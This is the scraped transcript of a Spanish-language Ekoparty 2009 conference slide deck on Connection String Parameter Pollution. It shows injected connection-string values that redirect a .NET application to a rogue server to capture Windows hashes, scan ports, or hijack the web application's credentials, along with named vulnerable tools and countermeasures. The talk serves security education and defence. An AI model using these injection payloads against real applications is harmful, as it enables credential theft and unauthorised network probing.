connection string parameter pollution

Post on 04-Jul-2015

5.974 Views

Category:

Technology

1 Downloads

Preview:

Click to see full reader

DESCRIPTION

Charla impartida por Chema Alonso en la Ekoparty 2009 sobre Connection String Parameter Pollution.

TRANSCRIPT

Chema AlonsoInformática 64Chema AlonsoInformática 64

Cadenas de Conexión

• Definen la manera en que una aplicación web se conecta a un repositorio de datos

• Hay cadenas de conexión para:– Bases de datos

– Archivos en sistemas de ficheros

– Servidores LDAP en procesos de Binding

– …

Cadenas de conexión a BBDD

Data Source = myServerAddress;

Initial Catalog = myDataBase;

User Id = myUsername;

Password = myPassword;

Se pueden encontrar en Google

Se pueden encontrar en Google

Ficheros UDL

Credenciales

Cuentas de Sistema Operativo

Data Source = myServerAddress;

Initial Catalog = myDataBase;

User Id = myUsername;

Password = myPassword;

Integrated Security = SSPI/True/Yes;

Cuentas de la Base de datos

Data Source = myServerAddress;

Initial Catalog = myDataBase;

User Id = myUsername;

Password = myPassword;

Integrated Security = No;

Syslogins

Tabla usuarios

Cadena de conexión

1.- La aplicación web se conecta con credenciales de la BD.

2.- Se piden credenciales al usuario.

3.- La aplicación web comprueba las credenciales en una tabla de usuarios.

Select from tabla

La aplicación Web controla la autenticación

Motor de Base de datos App en Servidor Web

Validación usuarios en aplicación web

Syslogins Cadena de conexión

1.- Se piden credenciales al usuario.

2.- La aplicación web construye la cadena de conexión con las credenciales del usuario.

El motor de BBDD controla la autenticación

Validación usuarios en motor de BBDD

Motor de Base de datos App en Servidor Web

Connection String Attacks

• Es posible inyectar parámetros en las cadenas de conexión separándolos por punto y coma.

Data Source = myServerAddress;Initial Catalog = myDataBase;Integrated Security = NO;User Id = myUsername;Password = myPassword; Encryption = Off ;

ConnectionStringBuiler

• Incluido en el .NET Framework 2.0

• Crea cadenas de conexión mediante parámetros

• Impide la inyección de código

La realidad

Connection String Parameter Pollution

• La idea es inyectar un parámetro que ya existe

• Duplicando el valor del parámetro, el último prevalece en los entornos .NET.

• Esto permite a un atacante cambiar completamente el funcionamiento de la cadena de conexión y de la aplicación.

CSPP Attack 1: Robo de Hash

1.- Se monta un servidor controlado:Rogue_Server

2.- Se activa un sniffer de credencialesCain/Wireshark

3.- Se hace una polución del parámetroData_Source=Rogue_Server

4.- Se fuerza el uso de autenticación WindowsIntegrated Security=true

CSPP Attack 1: Robo de Hash

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Rogue_Server; Password=;Integrated Security=True;

CSSP 1:ASP.NET Enterprise Manager

CSPP Attack 2: Port Scanning

1.- Se hace una polución del parámetro con el servidor a escanear y el puerto

Data_Source=Target_Server,target_Port

2.- Se evalúan los mensajes de error de la aplicación

CSPP Attack 2: Port Scanning

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Target_Server, Target_Port; Password=Void;

CSPP 2: myLittleAdmin

Puerto Abierto

CSPP 2: myLittleAdmin

Puerto Cerrado

CSPP Attack 3: Hijacking Web Credentials

1.- Se hace una polución del parámetro

Data_Source=Target_Server

2.- Se fuerza el uso de autenticación Windows

Integrated Security=true

3.- El pool de aplicaciones envía la cuenta de Windows con que está corriendo para autenticarse en el motor de bases de datos

CSPP Attack 3: Hijacking Web Credentials

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Target_Server; Password=;Integrated Security=true;

CSPP Attack 3: Web Data Administrator

CSPP Attack 3: myLittleAdmin/myLittleBackup

CSPP Attack 3: ASP.NET Enterprise Manager

Otras bases de datos

• MySQL no soporta autenticación integrada

• Oracle SÍ soporta autenticación integrada en Windows y es posible realizar estos ataques– Además es posible cambiar la conexión de nivel

para pasarla a conexión como sysdba

DemoDemo

myLittleAdmin/myLittleBackup

myLittleTools ha sacado un advisory de seguridad y un parche

ASP.NET Enterprise Manager

• ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente

ASP.NET Enterprise Manager

• ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente

ASP.NET Web Data Admistrator

ASP Web Data Administrator es segura en su versión liberada en CodePlex

Contramedidas

• Fortificación de Firewall

• Fortificación de cuentas utilizadas en pool de aplicaciones y bases de datos.

• Usar ConnectionStringBuilder

• Filtrar el ;)

¿Preguntas?

ContactoChema Alonso chema@informatica64.comhttp://www.informatica64.comhttp://elladodelmal.blogspot.com

AutoresChema Alonso Manuel FernándezAlejandro Martín BailónAntonio Guzmán

top related